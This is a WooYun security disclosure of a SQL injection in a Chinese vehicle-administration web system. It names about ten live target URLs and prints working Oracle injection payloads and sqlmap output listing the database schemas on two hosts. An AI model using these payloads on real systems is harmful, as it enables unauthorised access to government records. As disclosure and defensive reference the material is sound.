当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088436

漏洞标题：车管所系统通用SQL注入#1（影响大量车管所网站）

相关厂商：山东国安信息产业有限责任公司

漏洞作者： 路人甲

提交时间：2014-12-26 11:37

修复时间：2015-03-26 11:38

公开时间：2015-03-26 11:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-26： 细节已通知厂商并且等待厂商处理中
2014-12-30： 厂商已经确认，细节仅向厂商公开
2015-01-02： 细节向第三方安全合作伙伴开放
2015-02-23： 细节向核心白帽子及相关领域专家公开
2015-03-05： 细节向普通白帽子公开
2015-03-15： 细节向实习白帽子公开
2015-03-26： 细节向公众公开

简要描述：

RT

详细说明：

案例如下：
http://www.lcwscgs.com/wscgs/liuyan.do
http://60.211.179.22:9080/wscgs/liuyan.do
http://58.59.39.43:9080/wscgs/liuyan.do
http://cgs.qdpolice.gov.cn:9080/wscgs/liuyan.do
http://218.59.228.162/wscgs/liuyan.do
http://cgs.ytjj.gov.cn:9061/wscgs/liuyan.do
http://www.wfcgs.com:9080/wscgs/liuyan.do
http://www.bzwscgs.com:9080/wscgs/liuyan.do
http://60.213.185.51:9080/wscgs/liuyan.do
http://cgs.ijiaotong.com:9080/wscgs/liuyan.do
POST参数:gjz=11&fy=14&lb=0&type=lylb&state=mhcx&index=260
参数gjz 存在注入。
1.测试注入点:http://60.211.179.22:9080/wscgs/liuyan.do
POST参数:gjz=11&fy=14&lb=0&type=lylb&state=mhcx&index=260

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: gjz
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: gjz=11%' AND 8787=8787 AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: gjz=11%' AND 9400=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)|
|CHR(101)||CHR(111)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9400=9400) THEN 1 EL
SE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(119)||CHR(112)||CHR(113)||CHR(62))
) FROM DUAL) AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: gjz=-5183%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,CHR(113)||CHR(101)||CHR(111)||CHR(98)||CHR(113)||CHR(88)||
CHR(100)||CHR(79)||CHR(101)||CHR(121)||CHR(99)||CHR(109)||CHR(79)||CHR(78)||CHR(
111)||CHR(113)||CHR(105)||CHR(119)||CHR(112)||CHR(113),NULL,NULL,NULL FROM DUAL-
- &fy=1&lb=0&type=lylb&state=mhcx
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: gjz=11%' AND 9663=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(85)||CHR(1
20)||CHR(69),5) AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
---
[14:33:17] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[14:33:17] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[14:33:17] [INFO] fetching database (schema) names
[14:33:18] [WARNING] reflective value(s) found and filtering out
[14:33:18] [INFO] the SQL query used returns 29 entries
[14:33:19] [INFO] retrieved: CTXSYS
[14:33:20] [INFO] retrieved: DBSNMP
[14:33:20] [INFO] retrieved: DMSYS
[14:33:21] [INFO] retrieved: DRV_ADMIN
[14:33:22] [INFO] retrieved: DRV_HEALTH
[14:33:22] [INFO] retrieved: EXFSYS
[14:33:23] [INFO] retrieved: HR
[14:33:24] [INFO] retrieved: IX
[14:33:25] [INFO] retrieved: JSRH_USER
[14:33:25] [INFO] retrieved: MDSYS
[14:33:26] [INFO] retrieved: OE
[14:33:27] [INFO] retrieved: OLAPSYS
[14:33:27] [INFO] retrieved: ORDSYS
[14:33:28] [INFO] retrieved: OUTLN
[14:33:29] [INFO] retrieved: PM
[14:33:29] [INFO] retrieved: QSWEBCGS_USER
[14:33:30] [INFO] retrieved: SCOTT
[14:33:30] [INFO] retrieved: SH
[14:33:31] [INFO] retrieved: SYS
[14:33:32] [INFO] retrieved: SYSMAN
[14:33:32] [INFO] retrieved: SYSTEM
[14:33:33] [INFO] retrieved: VEH_ADMIN
[14:33:34] [INFO] retrieved: VIO_ADMIN
[14:33:34] [INFO] retrieved: WKSYS
[14:33:35] [INFO] retrieved: WK_TEST
[14:33:36] [INFO] retrieved: WMSYS
[14:33:36] [INFO] retrieved: WMS_USER
[14:33:37] [INFO] retrieved: WSCGS
[14:33:38] [INFO] retrieved: XDB
available databases [29]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] EXFSYS
[*] HR
[*] IX
[*] JSRH_USER
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WK_TEST
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB
[14:33:38] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\60.211.179.22'


2.测试注入点：http://www.lcwscgs.com/wscgs/liuyan.do
POST参数:gjz=11&fy=14&lb=0&type=lylb&state=mhcx&index=260

2.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: gjz
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: gjz=11%' AND 6826=6826 AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&in
dex=260
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: gjz=11%' AND 3087=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)|
|CHR(98)||CHR(115)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (3087=3087) THEN 1 EL
SE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(117)||CHR(122)||CHR(113)||CHR(62))
) FROM DUAL) AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&index=260
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: gjz=11%' AND 8292=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(99)||CHR(
121)||CHR(120),5) AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&index=260
---
[14:35:30] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[14:35:30] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[14:35:30] [INFO] fetching database (schema) names
[14:35:32] [INFO] heuristics detected web page charset 'GB2312'
[14:35:32] [WARNING] reflective value(s) found and filtering out
[14:35:32] [INFO] the SQL query used returns 35 entries
[14:35:32] [INFO] retrieved: CTXSYS
[14:35:33] [INFO] retrieved: DRV_ADMIN
[14:35:33] [INFO] retrieved: DRV_HEALTH
[14:35:34] [INFO] retrieved: HR
[14:35:34] [INFO] retrieved: LCZW
[14:35:34] [INFO] retrieved: MDSYS
[14:35:35] [INFO] retrieved: NLV_ADMIN
[14:35:35] [INFO] retrieved: ODM
[14:35:35] [INFO] retrieved: ODM_MTR
[14:35:36] [INFO] retrieved: OE
[14:35:36] [INFO] retrieved: OLAPSYS
[14:35:36] [INFO] retrieved: ORDSYS
[14:35:37] [INFO] retrieved: OUTLN
[14:35:37] [INFO] retrieved: PM
[14:35:37] [INFO] retrieved: QS
[14:35:38] [INFO] retrieved: QSWEBCGS_USER
[14:35:38] [INFO] retrieved: QS_CBADM
[14:35:38] [INFO] retrieved: QS_CS
[14:35:39] [INFO] retrieved: QS_ES
[14:35:39] [INFO] retrieved: QS_OS
[14:35:40] [INFO] retrieved: QS_WS
[14:35:40] [INFO] retrieved: RMAN
[14:35:40] [INFO] retrieved: SCOTT
[14:35:41] [INFO] retrieved: SH
[14:35:41] [INFO] retrieved: SYS
[14:35:41] [INFO] retrieved: SYSTEM
[14:35:42] [INFO] retrieved: TMRI_VIO
[14:35:42] [INFO] retrieved: VEH_ADMIN
[14:35:42] [INFO] retrieved: VIO_ADMIN
[14:35:43] [INFO] retrieved: WKSYS
[14:35:43] [INFO] retrieved: WMSYS
[14:35:43] [INFO] retrieved: WMS_USER
[14:35:43] [INFO] retrieved: WSCGS
[14:35:44] [INFO] retrieved: XDB
[14:35:44] [INFO] retrieved: ZWELL
available databases [35]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] LCZW
[*] MDSYS
[*] NLV_ADMIN
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] TMRI_VIO
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB
[*] ZWELL
[14:35:44] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.lcwscgs.com'


以上案例均可复现。、

漏洞证明：

1.测试注入点:http://60.211.179.22:9080/wscgs/liuyan.do
POST参数:gjz=11&fy=14&lb=0&type=lylb&state=mhcx&index=260

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: gjz
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: gjz=11%' AND 8787=8787 AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: gjz=11%' AND 9400=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)|
|CHR(101)||CHR(111)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9400=9400) THEN 1 EL
SE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(119)||CHR(112)||CHR(113)||CHR(62))
) FROM DUAL) AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: gjz=-5183%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,CHR(113)||CHR(101)||CHR(111)||CHR(98)||CHR(113)||CHR(88)||
CHR(100)||CHR(79)||CHR(101)||CHR(121)||CHR(99)||CHR(109)||CHR(79)||CHR(78)||CHR(
111)||CHR(113)||CHR(105)||CHR(119)||CHR(112)||CHR(113),NULL,NULL,NULL FROM DUAL-
- &fy=1&lb=0&type=lylb&state=mhcx
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: gjz=11%' AND 9663=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(85)||CHR(1
20)||CHR(69),5) AND '%'='&fy=1&lb=0&type=lylb&state=mhcx
---
[14:33:17] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[14:33:17] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[14:33:17] [INFO] fetching database (schema) names
[14:33:18] [WARNING] reflective value(s) found and filtering out
[14:33:18] [INFO] the SQL query used returns 29 entries
[14:33:19] [INFO] retrieved: CTXSYS
[14:33:20] [INFO] retrieved: DBSNMP
[14:33:20] [INFO] retrieved: DMSYS
[14:33:21] [INFO] retrieved: DRV_ADMIN
[14:33:22] [INFO] retrieved: DRV_HEALTH
[14:33:22] [INFO] retrieved: EXFSYS
[14:33:23] [INFO] retrieved: HR
[14:33:24] [INFO] retrieved: IX
[14:33:25] [INFO] retrieved: JSRH_USER
[14:33:25] [INFO] retrieved: MDSYS
[14:33:26] [INFO] retrieved: OE
[14:33:27] [INFO] retrieved: OLAPSYS
[14:33:27] [INFO] retrieved: ORDSYS
[14:33:28] [INFO] retrieved: OUTLN
[14:33:29] [INFO] retrieved: PM
[14:33:29] [INFO] retrieved: QSWEBCGS_USER
[14:33:30] [INFO] retrieved: SCOTT
[14:33:30] [INFO] retrieved: SH
[14:33:31] [INFO] retrieved: SYS
[14:33:32] [INFO] retrieved: SYSMAN
[14:33:32] [INFO] retrieved: SYSTEM
[14:33:33] [INFO] retrieved: VEH_ADMIN
[14:33:34] [INFO] retrieved: VIO_ADMIN
[14:33:34] [INFO] retrieved: WKSYS
[14:33:35] [INFO] retrieved: WK_TEST
[14:33:36] [INFO] retrieved: WMSYS
[14:33:36] [INFO] retrieved: WMS_USER
[14:33:37] [INFO] retrieved: WSCGS
[14:33:38] [INFO] retrieved: XDB
available databases [29]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] EXFSYS
[*] HR
[*] IX
[*] JSRH_USER
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WK_TEST
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB
[14:33:38] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\60.211.179.22'


2.测试注入点：http://www.lcwscgs.com/wscgs/liuyan.do
POST参数:gjz=11&fy=14&lb=0&type=lylb&state=mhcx&index=260

2.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: gjz
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: gjz=11%' AND 6826=6826 AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&in
dex=260
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: gjz=11%' AND 3087=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)|
|CHR(98)||CHR(115)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (3087=3087) THEN 1 EL
SE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(117)||CHR(122)||CHR(113)||CHR(62))
) FROM DUAL) AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&index=260
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: gjz=11%' AND 8292=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(99)||CHR(
121)||CHR(120),5) AND '%'='&fy=14&lb=0&type=lylb&state=mhcx&index=260
---
[14:35:30] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[14:35:30] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[14:35:30] [INFO] fetching database (schema) names
[14:35:32] [INFO] heuristics detected web page charset 'GB2312'
[14:35:32] [WARNING] reflective value(s) found and filtering out
[14:35:32] [INFO] the SQL query used returns 35 entries
[14:35:32] [INFO] retrieved: CTXSYS
[14:35:33] [INFO] retrieved: DRV_ADMIN
[14:35:33] [INFO] retrieved: DRV_HEALTH
[14:35:34] [INFO] retrieved: HR
[14:35:34] [INFO] retrieved: LCZW
[14:35:34] [INFO] retrieved: MDSYS
[14:35:35] [INFO] retrieved: NLV_ADMIN
[14:35:35] [INFO] retrieved: ODM
[14:35:35] [INFO] retrieved: ODM_MTR
[14:35:36] [INFO] retrieved: OE
[14:35:36] [INFO] retrieved: OLAPSYS
[14:35:36] [INFO] retrieved: ORDSYS
[14:35:37] [INFO] retrieved: OUTLN
[14:35:37] [INFO] retrieved: PM
[14:35:37] [INFO] retrieved: QS
[14:35:38] [INFO] retrieved: QSWEBCGS_USER
[14:35:38] [INFO] retrieved: QS_CBADM
[14:35:38] [INFO] retrieved: QS_CS
[14:35:39] [INFO] retrieved: QS_ES
[14:35:39] [INFO] retrieved: QS_OS
[14:35:40] [INFO] retrieved: QS_WS
[14:35:40] [INFO] retrieved: RMAN
[14:35:40] [INFO] retrieved: SCOTT
[14:35:41] [INFO] retrieved: SH
[14:35:41] [INFO] retrieved: SYS
[14:35:41] [INFO] retrieved: SYSTEM
[14:35:42] [INFO] retrieved: TMRI_VIO
[14:35:42] [INFO] retrieved: VEH_ADMIN
[14:35:42] [INFO] retrieved: VIO_ADMIN
[14:35:43] [INFO] retrieved: WKSYS
[14:35:43] [INFO] retrieved: WMSYS
[14:35:43] [INFO] retrieved: WMS_USER
[14:35:43] [INFO] retrieved: WSCGS
[14:35:44] [INFO] retrieved: XDB
[14:35:44] [INFO] retrieved: ZWELL
available databases [35]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] LCZW
[*] MDSYS
[*] NLV_ADMIN
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] TMRI_VIO
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB
[*] ZWELL
[14:35:44] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.lcwscgs.com'


以上案例均可复现。、

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-12-30 14:06

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给山东分中心，由山东分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-30 14:25 | 岩少 ( 普通白帽子 | Rank:586 漏洞数:171 | 破晓团队)

    @疯狗。为什么上个漏洞走的大厂商，而这个走的小厂商